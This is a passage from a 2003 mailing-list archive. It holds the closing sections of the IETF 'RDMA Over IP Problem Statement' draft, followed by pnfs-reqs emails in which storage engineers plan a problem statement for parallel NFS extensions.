parallel applications; if this (often expressed in terms of ""bisection bandwidth"") is too low, adding additional processors cannot improve system throughput. Interconnect latency can also limit the performance of applications that frequently share data between processors. So, excessive overheads on network paths in a ""scalable"" system both can require the use of more processors than optimal, and can reduce the marginal utility of those additional processors. Copy avoidance scales a machine upwards by removing at least two- thirds the bus bandwidth load from the ""very best"" 1-copy (on receive) implementations, and removes at least 80% of the bandwidth overhead from the 2-copy implementations. An example showing poor performance with copies and improved scaling with copy avoidance is illustrative. The IO-Lite work [PDZ99] shows higher server throughput servicing more clients using a zero-copy system. In an experiment designed to mimic real world web conditions by simulating the effect of TCP WAN connections on the server, the performance of 3 servers was compared. One server Romanow, et al Expires December 2003 [Page 8] Internet-Draft RDMA Over IP Problem Statement June 2003 was Apache, another an optimized server called Flash, and the third the Flash server running IO-Lite, called Flash-Lite with zero copy. The measurement was of throughput in requests/second as a function of the number of slow background clients that could be served. As the table shows, Flash-Lite has better throughput, especially as the number of clients increases. Apache Flash Flash-Lite ------ ----- ---------- #Clients Thruput reqs/s Thruput Thruput 0 520 610 890 16 390 490 890 32 360 490 850 64 360 490 890 128 310 450 880 256 310 440 820 Traditional Web servers (which mostly send data and can keep most of their content in the file cache) are not the worst case for copy overhead. Web proxies (which often receive as much data as they send) and complex Web servers based on SANs or multi-tier systems will suffer more from copy overheads than in the example above. 5. Copy Avoidance Techniques There have been extensive research investigation and industry experience with two main alternative approaches to eliminating data movement overhead, often along with improving other Operating System processing costs. In one approach, hardware and/or software changes within a single host reduce processing costs. In another approach, memory-to-memory networking [MAF+02], hosts communicate via information that allows them to reduce processing costs. The single host approaches range from new hardware and software architectures [KSZ95, Wa97, DWB+93] to new or modified software systems [BP96, Ch96, TK95, DP93, PDZ99]. In the approach based on using a networking protocol to exchange information, the network adapter, under control of the application, places data directly into and out of application buffers, reducing the need for data movement. Commonly this approach is called RDMA, Remote Direct Memory Access. As discussed below, research and industry experience has shown that copy avoidance techniques within the receiver processing path alone have proven to be problematic. The research special purpose host adapter systems had good performance and can be seen as precursors Romanow, et al Expires December 2003 [Page 9] Internet-Draft RDMA Over IP Problem Statement June 2003 for the commercial RDMA-based NICs [KSZ95, DWB+93]. In software, many implementations have successfully achieved zero-copy transmit, but few have accomplished zero-copy receive. And those that have done so make strict alignment and no-touch requirements on the application, greatly reducing the portability and usefulness of the implementation. In contrast, experience has proven satisfactory with memory-to- memory systems that permit RDMA - performance has been good and there have not been system or networking difficulties. RDMA is a single solution. Once implemented, it can be used with any OS and machine architecture, and it does not need to be revised when either of these changes. In early work, one goal of the software approaches was to show that TCP could go faster with appropriate OS support [CJR89, CFF+94]. While this goal was achieved, further investigation and experience showed that, though possible to craft software solutions, specific system optimizations have been complex, fragile, extremely interdependent with other system parameters in complex ways, and often of only marginal improvement [CFF+94, CGY01, Ch96, DAPP93, KSZ95, PDZ99]. The network I/O system interacts with other aspects of the Operating System such as machine architecture and file I/O, and disk I/O [Br99, Ch96, DP93]. For example, the Solaris Zero-Copy TCP work [Ch96], which relies on page remapping, shows that the results are highly interdependent with other systems, such as the file system, and that the particular optimizations are specific for particular architectures, meaning for each variation in architecture optimizations must be re-crafted [Ch96]. A number of research projects and industry products have been based on the memory-to-memory approach to copy avoidance. These include U-Net [EBBV95], SHRIMP [BLA+94], Hamlyn [BJM+96], Infiniband [IB], Winsock Direct [Pi01]. Several memory-to-memory systems have been widely used and have generally been found to be robust, to have good performance, and to be relatively simple to implement. These include VI [VI], Myrinet [BCF+95], Quadrics [QUAD], Compaq/Tandem Servernet [SRVNET]. Networks based on these memory-to-memory architectures have been used widely in scientific applications and in data centers for block storage, file system access, and transaction processing. By exporting direct memory access ""across the wire"", applications may direct the network stack to manage all data directly from application buffers. A large and growing class of applications has already emerged which takes advantage of such capabilities, Romanow, et al Expires December 2003 [Page 10] Internet-Draft RDMA Over IP Problem Statement June 2003 including all the major databases, as well as file systems such as DAFS [DAFS] and network protocols such as Sockets Direct [SDP]. 5.1. A Conceptual Framework: DDP and RDMA An RDMA solution can be usefully viewed as being comprised of two distinct components: ""direct data placement (DDP)"" and ""remote direct memory access (RDMA) semantics"". They are distinct in purpose and also in practice - they may be implemented as separate protocols. The more fundamental of the two is the direct data placement facility. This is the means by which memory is exposed to the remote peer in an appropriate fashion, and the means by which the peer may access it, for instance reading and writing. The RDMA control functions are semantically layered atop direct data placement. Included are operations that provide ""control"" features, such as connection and termination, and the ordering of operations and signaling their completions. A ""send"" facility is provided. While the functions (and potentially protocols) are distinct, historically both aspects taken together have been referred as ""RDMA"". The facilities of direct data placement are useful in and of themselves, and may be employed by other upper layer protocols to facilitate data transfer. Therefore, it is often useful to refer to DDP as the data placement functionality and RDMA as the control aspect. [BT02] develops an architecture for DDP and RDMA, and is a companion draft to this problem statement. 6. Security Considerations Solutions to the problem of reducing copying overhead in high bandwidth transfers via one or more protocols may introduce new security concerns. Any proposed solution must be analyzed for security threats and any such threats addressed. Potential security weaknesses due to resource issues that might lead to denial-of-service attacks, overwrites and other concurrent operations, the ordering of completions as required by the RDMA protocol, the granularity of transfer, and any other identified threats; need to be examined, described and an adequate solution to them found. Layered atop Internet transport protocols, the RDMA protocols will gain leverage from and must permit integration with Internet Romanow, et al Expires December 2003 [Page 11] Internet-Draft RDMA Over IP Problem Statement June 2003 security standards, such as IPSec and TLS [IPSEC, TLS]. A thorough analysis of the degree to which these protocols address potential threats is required. Security for an RDMA design requires more than just securing the communication channel. While it is necessary to be able to guarantee channel properties such as privacy, integrity, and authentication, these properties cannot defend against all attacks from properly authenticated peers, which might be malicious, compromised, or buggy. For example, an RDMA peer should not be able to read or write memory regions without prior consent. Further, it must not be possible to evade consistency checks at the recipient. The RDMA design must allow the recipient to rely on its consistent memory contents by controlling peer access to memory regions explicitly, and must disallow peer access to regions when not authorized. The RDMA protocols must ensure that regions addressable by RDMA peers be under strict application control. Remote access to local memory by a network peer introduces a number of potential security concerns. This becomes particularly important in the Internet context, where such access can be exported globally. The RDMA protocols carry in part what is essentially user information, explicitly including addressing information and operation type (read or write), and implicitly including protection and attributes. As such, the protocol requires checking of these higher level aspects in addition to the basic formation of messages. The semantics associated with each class of error must be clearly defined, and the expected action to be taken on mismatch be specified. In some cases, this will result in a catastrophic error on the RDMA association, however in others a local or remote error may be signalled. Certain of these errors may require consideration of abstract local semantics, which must be carefully specified so as to provide useful behavior while not constraining the implementation. 7. Acknowledgements Jeff Chase generously provided many useful insights and information. Thanks to Jim Pinkerton for many helpful discussions. 8. Informative References [BCF+95] N. J. Boden, D. Cohen, R. E. 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Khalidi, ""An efficient zero-copy I/O framework for UNIX"", Technical Report, SMLI TR-95-39, May 1995 Romanow, et al Expires December 2003 [Page 16] Internet-Draft RDMA Over IP Problem Statement June 2003 [VI] Compaq Computer Corp., Intel Corporation and Microsoft Corporation, ""Virtual Interface Architecture Specification Version 1.0"", December 1997, available from http://www.vidf.org/info/04standards.html [Wa97] J. R. Walsh, ""DART: Fast application-level networking via data-copy avoidance"", IEEE Network, July/August 1997, pp. 28-38 Authors' Addresses Stephen Bailey Sandburst Corporation 600 Federal Street Andover, MA 01810 USA Phone: +1 978 689 1614 Email: steph@sandburst.com Jeffrey C. Mogul Western Research Laboratory Hewlett-Packard Company 1501 Page Mill Road, MS 1251 Palo Alto, CA 94304 USA Phone: +1 650 857 2206 (email preferred) Email: JeffMogul@acm.org Allyn Romanow Cisco Systems, Inc. 170 W. Tasman Drive San Jose, CA 95134 USA Phone: +1 408 525 8836 Email: allyn@cisco.com Romanow, et al Expires December 2003 [Page 17] Internet-Draft RDMA Over IP Problem Statement June 2003 Tom Talpey Network Appliance 375 Totten Pond Road Waltham, MA 02451 USA Phone: +1 781 768 5329 Email: thomas.talpey@netapp.com Full Copyright Statement Copyright (C) The Internet Society (2003). All Rights Reserved. This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. 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Romanow, et al Expires December 2003 [Page 18] >From bhalevy@panasas.com Mon Dec 15 23:02:52 2003 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 63766 invoked from network); 16 Dec 2003 07:02:51 -0000 Received: from unknown (66.218.66.166) by m18.grp.scd.yahoo.com with QMQP; 16 Dec 2003 07:02:51 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 16 Dec 2003 07:02:49 -0000 Received: from yang ([172.17.19.46]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1CWB; Tue, 16 Dec 2003 02:02:32 -0500 To: Date: Tue, 16 Dec 2003 02:03:00 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0007_01C3C378.BB3217E0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: FW: Re: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Saturday, December 13, 2003 00:02 To: Garth Gibson; Craig Everhart; John Muth; Brian Pawlowski; David Pease; Julian Satran; Spencer Shepler; Brent Welch; Benny Halevy; Jon Haswell; Dean Hildebrand; Peter Honeyman; Jim Carlson; Garth Gibson; Andy Adamson; Tyce McLarty; Peter Corbett; David Black Cc: Garth Gibson Subject: Re: NEPS-REQS: getting started I decided to toss out a very quick and dirty draft with a lot of parts missing. Nothing sacred, just thoughts as they occurred to me partially organized. I put it in Word so I could get formatting, TOC, etc. I am attaching a Word and PDF. I would be happy to put this on a web site for us if you want. I also would be happy to centralize the edits and re-post it on the web etc. Thanks Gary At 10:26 PM 12/10/2003 -0500, Garth Gibson wrote: >So we are the requirements/problem statement subgroup of the NFS >extension for parallel storage effort. > >Our job is to create the paper trail justification for adding something >to NFS and provide a conceptual framework by which to identify possible >solutions. > >In the beginning this document is used to justify in the IETF process >that there are problems that people take seriously that cannot be >handled well in the scope of NFS today and that should be. > >I asked around for examples to help us construct this document and I >was pointed at the problem statement used to start the RDMA over IP >effort (attached below). I was told that this was a particularly well >done problem statement, and that we should not necessarily work this >hard before giving the IETF something to look at. > >ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-ietf-rddp- >problem-statement-02.txt > >RDDP Abstract: This draft addresses an IP-based solution to the problem >of high system costs due to network I/O copying in end-hosts at high >speeds. The problem is due to the high cost of memory bandwidth, and >it can be substantially improved using ""copy avoidance."" The high >overhead has limited the use of TCP/IP in interconnection networks >especially where high bandwidth, low latency and/or low overhead of >end-system data movement are required by the hosted application. > >So I suppose we could start with > >pNFS Abstract: This draft addresses an NFS-based solution to the >problem of high system costs due to store-and-forward copying of >storage data from storage devices through a file server mount point to >high-speed end-hosts that also have connectivity to source storage >devices. The problem is due to the high cost of funneling large >storage bandwidths through NFS on single IP addresses, and it can be >substantially improved using ""out-of-band access."" The high cost of >high-bandwidth NFS servers has limited the use of NFS in data centers >especially where high storage bandwidths are required and numerous >storage serving devices are already networked together. > >A pNFS table of contents might be: > >1. Introduction >2. The high cost of high bandwidth storage through NFS >2.1 Out-of-band access decreases bandwidth requirements in central file >servers >3. Application level routing of storage data packets is the root cause >of the problem >4. Storage bandwidth bottlenecks are problematic for many key file >system applications >5. Out-of-band access techniques >5.1 A conceptual framework: pNFS delegated maps for distributing files >over SBC, OSD and NFS storage subsystems >6. Security considerations >7. Acknowledgements >8. Informative references > >Please have a look at the RDDP problem statement draft and comment on >my simplistic strategy of monkey-see-monkey-do :-) > >garth > > > >Begin forwarded message: > >>From: Garth Gibson >>Date: Wed Dec 10, 2003 9:34:58 PM Canada/Eastern >>To: Andy Adamson , David Black >>, Don Cameron , Jim >>Carlson , Peter Corbett , Craig >>Everhart , Steve Fridella >>, Garth Gibson , >>Gary Grider , Benny Halevy , >>Jon Haswell , Dean Hildebrand >>, Peter Honeyman , >>Xiaoye Jiang , Mike Kazar , >>Tyce McLarty , John Muth , >>Dave Noveck , Brian Pawlowski >>, David Pease , >>Julian Satran , Spencer Shepler >>, Brent Welch >>Subject: NFS Extensions for Parallel Storage, subgroup membership >> >>Folks, >> >>Thanks for a great workshop last Thursday! >> >>Materials presented that day are online: >>http://www.citi.umich.edu/NEPS/agenda.html >> >>Below are the workshop followup subgroup memberships as they are now. >>I think I heard Peter say that he would construct auto-managed email >>lists, which from the additions I've received this week, I have >>already decided would be great. Please Peter! Names like neps-all, >>neps-reqs, neps-ops, neps-sbc, neps-osd, neps-nfs would be great. >> >>Our goals, to reprise, are to sketch a set of requirements for NFS >>Extensions for Parallel Storage, or pNFS extensions, sketch a set of >>NFS operation extensions (possibly including alternatives), sketch a >>set of metadata definitions (possibly including alternatives) for >>out-of-band data access over fixed block (SBC) SCSI protocols, object >>(OSD) SCSI protocols and file (NFS) ONCRPC protocols. >> >>We want to do this quickly, over the next few months, and to take it >>into the IETF NFS process as a set of suggestions and strawman >>protocols. The current plan is that at that point those of us that >>follow through with this will to it in the IETF NFS working group. In >>order to convince the IETF and the NFS working group that we have >>important, useful and viable ideas, we are taking a little time to >>pull together starting material. >> >>The timelines discussed at the end of the workshop ""heir of the dog"" >>session were: >>- get workshop notes put together and out in December (Peter and Garth) >>- 0th draft of a requirements/problem statement internet draft by mid >>January >>- IETF submission of an internet draft by first week of Feb, so it can >>be part of the March IETF meeting and used as evidence for inclusion >>of extensions for parallel storage into the NFS working group charter >>- one or more documents (not necessarily fully agreeing) from each >>subgroup into the IETF NFS email discussion for early to mid March >>- a face-to-face followup workshop, open to the IETF NFS group at the >>FAST 2004 conference, in San Francisco Mar 31 - Apr 2, at which all >>further plans are proposed, argued and ratified (e.g. shall we be >>absorbed into the IETF NFS group) >> >>To help move this along, we have asked one person in each subgroup to >>push, prod and pull ideas and words out of us. Please help these >>sacrificial volunteers with by contributing text, criticizing >>constructively with alternative text, and finding the time to read >>materials. >> >>These are volunteers in an unofficial process. We have no rules to be >>applied by arbitration, no membership to take votes from. If this >>consensus process, or these people, are not working out, then I >>suggest grass roots alternatives be suggested and explored as a group. >> Lets not get bogged down in process this early :-) >> >>But there are always going to be logistical and procedural issues that >>we need to deal with as a group. The suggestion at the workshop was >>that these multi-subgroup issues be taken into the requirements group. >> For example, I suggest that ""scope"" issues -- what we include and >>what we exclude from our agenda -- be dealt with in the requirements >>group, where we would need to add/delete requirements for each >>distinct aspect of our scope. >> >>I'm sure I'm way over the line giving this much direction :-) so I'll >>leave it to the subgroups to decide mechanisms for progress. For >>example, weekly conference calls, document exchange formats, >>editorship delegation and/or rotation, agreement achieving processes, >>.... >> >>And with that I'll go off and get to work on suggesting what our >>problem statement needs to say. >> >>garth >>412-805-9878 (cell) >> >>------------------------------------------------------- >> >>pNFS requirements: Garth Gibson >>----------------- >>Andy Adamson >>David Black >>Jim Carlson >>Peter Corbett >>Craig Everhart >>Garth Gibson >>Gary Grider >>Benny Halevy >>Jon Haswell >>Dean Hildebrand >>Peter Honeyman >>Tyce McLarty >>John Muth >>Brian Pawlowski >>David Pease >>Julian Satran >>Spencer Shepler >>Brent Welch > > Attachment (not stored) draft-ietf-pNFS-problem-statement.pdf Type: application/pdf Attachment (not stored) draft-ietf-pNFS-problem-statement.doc Type: application/msword >From bhalevy@panasas.com Mon Dec 15 23:06:28 2003 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 27808 invoked from network); 16 Dec 2003 07:06:28 -0000 Received: from unknown (66.218.66.216) by m10.grp.scd.yahoo.com with QMQP; 16 Dec 2003 07:06:28 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 16 Dec 2003 07:06:28 -0000 Received: from yang ([172.17.19.46]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1CW2; Tue, 16 Dec 2003 02:05:59 -0500 To: Date: Tue, 16 Dec 2003 02:06:27 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: FW: Re: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy -----Original Message----- From: Tyce McLarty [mailto:mclarty3@llnl.gov] Sent: Monday, December 15, 2003 13:49 To: Gary Grider; Garth Gibson; Craig Everhart; John Muth; Brian Pawlowski; David Pease; Julian Satran; Spencer Shepler; Brent Welch; Benny Halevy; Jon Haswell; Dean Hildebrand; Peter Honeyman; Jim Carlson; Garth Gibson; Andy Adamson; Peter Corbett; David Black Cc: Garth Gibson Subject: Re: NEPS-REQS: getting started I've been wondering how important it is too cast the ""problem"" as one of cost, rather than as the ability to do things that cannot be done today with added benefits in cost reduction. I liked the list that Garth put up at the workshop: Scalable bandwidth Scalable capacity Load balancing capacity balancing plus the big winner - a standardized client. So the Introduction would be basically two paragraphs with (in either order): 1. proposal to extend NFSv4 to allow parallel out-of-band client access to data separate from metadata operations. 2. why it's important to do using the reasons outlined above. My question is - How close do we need to model the RDMA problem statement? Is cost the best/only justification or can we use new & needed capability plus value added? I think Gary has slanted his additions this direction, but seems like we should all agree on some basic principles before we get too deep in word-smithing. Thanks, Tyce At 10:02 PM 12/12/2003 -0700, Gary Grider wrote: >I decided to toss out a very quick and dirty draft with a lot of parts >missing. >Nothing sacred, just thoughts as they occurred to me partially organized. > >I put it in Word so I could get formatting, TOC, etc. > >I am attaching a Word and PDF. > >I would be happy to put this on a web site for us if you want. I also >would be happy to >centralize the edits and re-post it on the web etc. > >Thanks >Gary >From bhalevy@panasas.com Mon Dec 15 23:11:59 2003 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 45118 invoked from network); 16 Dec 2003 07:11:56 -0000 Received: from unknown (66.218.66.167) by m9.grp.scd.yahoo.com with QMQP; 16 Dec 2003 07:11:56 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 16 Dec 2003 07:11:58 -0000 Received: from yang ([172.17.19.46]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1CXS; Tue, 16 Dec 2003 02:11:56 -0500 To: Date: Tue, 16 Dec 2003 02:12:23 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: FW: (Garth Gibson) NFS Extensions for Parallel Storage, subgroup membership X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy ADVERTISEMENT -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Thursday, December 11, 2003 01:54 To: Andy Adamson; David Black; Don Cameron; Jim Carlson; Peter Corbett; Craig Everhart; Steve Fridella; Garth Gibson; Gary Grider; Benny Halevy; Jon Haswell; Dean Hildebranz; Peter Honeyman; Xiaoye Jiang; Mike Kazar; Tyce McLarty; John Muth; Dave Noveck; Brian Pawlowski; David Pease; Julian Satran; Spencer Shepler; Brent Welch Cc: Garth Gibson Subject: NFS Extensions for Parallel Storage, subgroup membership Folks, Thanks for a great workshop last Thursday! Materials presented that day are online: http://www.citi.umich.edu/NEPS/agenda.html Below are the workshop followup subgroup memberships as they are now. I think I heard Peter say that he would construct auto-managed email lists, which from the additions I've received this week, I have already decided would be great. Please Peter! Names like neps-all, neps-reqs, neps-ops, neps-sbc, neps-osd, neps-nfs would be great. Our goals, to reprise, are to sketch a set of requirements for NFS Extensions for Parallel Storage, or pNFS extensions, sketch a set of NFS operation extensions (possibly including alternatives), sketch a set of metadata definitions (possibly including alternatives) for out-of-band data access over fixed block (SBC) SCSI protocols, object (OSD) SCSI protocols and file (NFS) ONCRPC protocols. We want to do this quickly, over the next few months, and to take it into the IETF NFS process as a set of suggestions and strawman protocols. The current plan is that at that point those of us that follow through with this will to it in the IETF NFS working group. In order to convince the IETF and the NFS working group that we have important, useful and viable ideas, we are taking a little time to pull together starting material. The timelines discussed at the end of the workshop ""heir of the dog"" session were: - get workshop notes put together and out in December (Peter and Garth) - 0th draft of a requirements/problem statement internet draft by mid January - IETF submission of an internet draft by first week of Feb, so it can be part of the March IETF meeting and used as evidence for inclusion of extensions for parallel storage into the NFS working group charter - one or more documents (not necessarily fully agreeing) from each subgroup into the IETF NFS email discussion for early to mid March - a face-to-face followup workshop, open to the IETF NFS group at the FAST 2004 conference, in San Francisco Mar 31 - Apr 2, at which all further plans are proposed, argued and ratified (e.g. shall we be absorbed into the IETF NFS group) To help move this along, we have asked one person in each subgroup to push, prod and pull ideas and words out of us. Please help these sacrificial volunteers with by contributing text, criticizing constructively with alternative text, and finding the time to read materials. These are volunteers in an unofficial process. We have no rules to be applied by arbitration, no membership to take votes from. If this consensus process, or these people, are not working out, then I suggest grass roots alternatives be suggested and explored as a group. Lets not get bogged down in process this early :-) But there are always going to be logistical and procedural issues that we need to deal with as a group. The suggestion at the workshop was that these multi-subgroup issues be taken into the requirements group. For example, I suggest that ""scope"" issues -- what we include and what we exclude from our agenda -- be dealt with in the requirements group, where we would need to add/delete requirements for each distinct aspect of our scope. I'm sure I'm way over the line giving this much direction :-) so I'll leave it to the subgroups to decide mechanisms for progress. For example, weekly conference calls, document exchange formats, editorship delegation and/or rotation, agreement achieving processes, .... And with that I'll go off and get to work on suggesting what our problem statement needs to say. garth 412-805-9878 (cell) ------------------------------------------------------- pNFS requirements: Garth Gibson ----------------- Andy Adamson David Black Jim Carlson Peter Corbett Craig Everhart Garth Gibson Gary Grider Benny Halevy Jon Haswell Dean Hildebranz Peter Honeyman Tyce McLarty John Muth Brian Pawlowski David Pease Julian Satran Spencer Shepler Brent Welch NFSv4 ops for pNFS: Peter Honeyman ------------------ Andy Adamson David Black Peter Corbett Craig Everhart Garth Gibson Benny Halevy Jon Haswell Dean Hildebranz Peter Honeyman Xiaoye Jiang John Muth Dave Noveck Brian Pawlowski Julian Satran Spencer Shepler Brent Welch SBC metadata for pNFS: David Black --------------------- Andy Adamson David Black Jim Carlson Craig Everhart Steve Fridella Garth Gibson Xiaoye Jiang Mike Kazar John Muth David Pease Julian Satran Spencer Shepler OSD metadata for pNFS: Brent Welch --------------------- Andy Adamson Don Cameron Peter Corbett Garth Gibson Benny Halevy John Muth Julian Satran Spencer Shepler Brent Welch NFS metadata for pNFS: Peter Corbett --------------------- Andy Adamson Peter Corbett Craig Everhart Garth Gibson Jon Haswell Dean Hildebranz Peter Honeyman Xiaoye Jiang John Muth Julian Satran Spencer Shepler >From pnfs-reqs@yahoogroups.com Mon Dec 15 23:51:51 2003 Return-Path: Received: (qmail 39098 invoked from network); 16 Dec 2003 07:51:50 -0000 Received: from unknown (66.218.66.216) by m12.grp.scd.yahoo.com with QMQP; 16 Dec 2003 07:51:50 -0000 Received: from unknown (HELO n6.grp.scd.yahoo.com) (66.218.66.90) by mta1.grp.scd.yahoo.com with SMTP; 16 Dec 2003 07:51:50 -0000 X-eGroups-Return: notify@yahoogroups.com Received: from [66.218.67.252] by n6.grp.scd.yahoo.com with NNFMP; 16 Dec 2003 07:51:44 -0000 Date: 16 Dec 2003 07:51:43 -0000 Message-ID: <1071561103.2719.47454.w73@yahoogroups.com> X-eGroups-Application: files X-Yahoo-Group-Post: system From: pnfs-reqs@yahoogroups.com To: pnfs-reqs@yahoogroups.com Subject: New file uploaded to pnfs-reqs MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-eGroups-Remote-IP: 66.218.66.90 Hello, This email message is a notification to let you know that a file has been uploaded to the Files area of the pnfs-reqs group. File : /draft-ietf-pNFS-problem-statement.doc Uploaded by : benny_halevy Description : Gary Grider's draft 2003-12-13 You can access this file at the URL http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem-statement.doc To learn more about file sharing for your group, please visit http://help.yahoo.com/help/us/groups/files Regards, benny_halevy >From garth@panasas.com Wed Dec 17 21:34:01 2003 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 58554 invoked from network); 18 Dec 2003 05:34:01 -0000 Received: from unknown (66.218.66.218) by m3.grp.scd.yahoo.com with QMQP; 18 Dec 2003 05:34:01 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 18 Dec 2003 05:34:00 -0000 Received: from panasas.com ([172.17.133.207]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1NBZ; Thu, 18 Dec 2003 00:33:58 -0500 Date: Thu, 18 Dec 2003 00:34:04 -0500 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) Cc: Garth Gibson To: pnfs-reqs@yahoogroups.com Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.553) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Tyce, [I've emailed this through the Yahoo group Benny set up, http://groups.yahoo.com/group/pnfs-reqs. I will forward it to the folks that have not yet joined this Yahoo group after I get it sent back to me :-)] The RDDP problem statement is similar and dissimilar to what we are doing. It is similar in that it is about higher performance, which always turns out to be cost-performance. It is dissimilar in that it was fighting an uphill battle to get RDMA into the IETF, while we are looking at no preconceived support or opposition in the IETF (that I am aware of). And it is dissimilar in that what we are proposing helps in the manageability of federated systems, which is not really a performance issue. I followed the RDDP example closely because it was easy -- our arguments on strictly bandwidth are at least as strong, in my opinion. And because I am not certain how to predict the IETF management's reaction to a manageability argument. And the standardized client code argument, although very import to some of us, seemed outside my notion of the IETF scope. Perhaps those with more experience selling ideas to the IETF could educate us? Should we focus on a small number of the most easily demonstrated problems or fill the problem statement out with all the problems we can contribute to solving? garth On Monday, December 15, 2003, at 01:49 PM, Tyce McLarty wrote: > I've been wondering how important it is too cast the ""problem"" as one > of cost, rather than as the ability to do things that cannot be done > today with added benefits in cost reduction. > > I liked the list that Garth put up at the workshop: > > Scalable bandwidth > Scalable capacity > Load balancing > capacity balancing > > plus the big winner - a standardized client. > > So the Introduction would be basically two paragraphs with (in either > order): > 1. proposal to extend NFSv4 to allow parallel out-of-band client > access to data separate from metadata operations. > 2. why it's important to do using the reasons outlined above. > > My question is - How close do we need to model the RDMA problem > statement? Is cost the best/only justification or can we use new & > needed capability plus value added? > > I think Gary has slanted his additions this direction, but seems like > we should all agree on some basic principles before we get too deep in > word-smithing. > > Thanks, > Tyce > > At 10:02 PM 12/12/2003 -0700, Gary Grider wrote: > >> I decided to toss out a very quick and dirty draft with a lot of >> parts missing. >> Nothing sacred, just thoughts as they occurred to me partially >> organized. >> >> I put it in Word so I could get formatting, TOC, etc. >> >> I am attaching a Word and PDF. >> >> I would be happy to put this on a web site for us if you want. I >> also would be happy to >> centralize the edits and re-post it on the web etc. >> >> Thanks >> Gary >From garth@panasas.com Wed Dec 17 21:42:23 2003 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 93406 invoked from network); 18 Dec 2003 05:42:23 -0000 Received: from unknown (66.218.66.167) by m11.grp.scd.yahoo.com with QMQP; 18 Dec 2003 05:42:23 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 18 Dec 2003 05:42:22 -0000 Received: from panasas.com ([172.17.133.207]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1NCX; Thu, 18 Dec 2003 00:42:19 -0500 Date: Thu, 18 Dec 2003 00:42:22 -0500 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) Cc: Garth Gibson To: pnfs-reqs@yahoogroups.com, pnfs-ops@yahoogroups.com Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.553) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: pNFS Discussion Summary 1: 12/18/03 X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Summary 1: 12/18/03 pNFS-ops and pNFS-reqs folks, Following on the conversation that has been going on in the pNFS-ops list since Brent put out his notes on the heir-of-the-dog meeting of Fri Dec 5, I have tried below to summarize what I see as broad issues. Your additions, corrections or directions are requested. One theme I see evolving quickly is the differing opinions of the driving requirements and how these drive differing opinions of implementation issues in the NFSv4 operations discussion. I have tried to identify which issues are more about requirements than about ""how"" to achieve a requirement in NFSv4. This is not intended to be a power play, by taking the topic out of the reach of anyone. It is more to clarify which topics we need to resolve by defining our scope and share with the folks that are only on the requirements email list. I imagine the resolution to these requirements-related issues will 